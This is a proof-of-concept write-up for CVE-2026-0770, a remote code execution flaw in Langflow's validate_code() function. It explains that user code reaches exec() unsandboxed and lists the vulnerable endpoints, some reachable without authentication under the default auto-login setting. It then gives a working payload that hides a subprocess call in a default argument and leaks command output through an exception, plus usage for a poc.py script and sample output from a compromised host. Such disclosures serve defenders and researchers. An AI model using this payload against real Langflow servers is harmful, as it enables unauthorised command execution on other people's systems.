
Proof of Concept for CVE-2026-0770 - Langflow Remote Code Execution
Langflow contains a critical remote code execution vulnerability in the validate_code() function located in src/lfx/src/lfx/custom/validate.py. The function uses exec() to execute user-supplied Python code without sandboxing, allowing arbitrary command execution on the server.
Similar vulnerabilities have been identified in related functions and endpoints:
The validate_code() function parses user-supplied code and executes function definitions using :
exec()# validate.py:66
for node in tree.body:
if isinstance(node, ast.FunctionDef):
code_obj = compile(ast.Module(body=[node], type_ignores=[]), "<string>", "exec")
exec(code_obj, exec_globals) # <-- Arbitrary code execution
The exec_globals context includes access to importlib and Python builtins, allowing attackers to import dangerous modules (os, subprocess, socket) and execute arbitrary system commands.
| Endpoint | Authentication | Attack Vector |
|---|---|---|
POST /api/v1/validate/code | Required* | Direct code submission |
POST /api/v1/custom_component | Required* | Code in component definition |
POST /api/v1/custom_component/update | Required* | Code in component update |
POST /api/v1/webhook/{flow_id} | None | Flow with code components |
POST /api/v1/build_public_tmp/{flow_id}/flow | None | Public flow execution |
* Authentication can be bypassed when AUTO_LOGIN=true (the default configuration)
The following functions in validate.py also use unsafe exec():
| Function | Line | Description |
|---|---|---|
validate_code() | 66 | Validates user code |
eval_function() | 140 | Evaluates function strings |
execute_function() | 182 | Executes arbitrary functions |
create_function() | 227 | Creates functions from code |
create_class() | 241-442 | Creates classes via prepare_global_scope() and build_class_constructor() |
The validate_code() function only executes function definitions, not function calls. To achieve code execution with output exfiltration, we exploit Python's evaluation order for default arguments.
Key insight: Default argument expressions are evaluated at function definition time, not when the function is called.
def foo(x=print("I execute immediately")):
pass
However, we need to exfiltrate output through the HTTP response. The endpoint returns errors in the response body, so we need to raise an exception containing our output.
Problem: raise is a statement, not an expression, so it can't be used directly in a default argument.
Solution: Use a generator's .throw() method, which raises an exception and IS an expression:
(_ for _ in ()).throw(Exception("output here"))
This creates an empty generator and immediately throws an exception. Combined with a lambda to capture command output:
def exploit(
_=(lambda r: (_ for _ in ()).throw(Exception(f"OUTPUT:\n{r.stdout}")))(
__import__('subprocess').run("id", shell=True, capture_output=True, text=True)
)
):
pass
Execution flow:
exec() runs the function definition_=... is evaluated immediatelysubprocess.run() executes the command.throw()validate_code() catches it and returns error in responsepython poc.py --target http://localhost:7860 -c "id && whoami && hostname"
| Flag | Description |
|---|---|
-t, --target | Target URL (required) |
-c, --command | Command to execute (default: id && whoami) |
-k, --token | JWT token (optional, uses auto-login by default) |
[*] Target: http://localhost:7860
[*] Attempting auto-login (default config)...
[+] Auto-login successful!
[*] Executing: id && whoami && hostname
[+] Status: 200
[+] Output:
uid=1000(user) gid=0(root) groups=0(root)
user
53977c93d567
src/lfx/src/lfx/custom/validate.py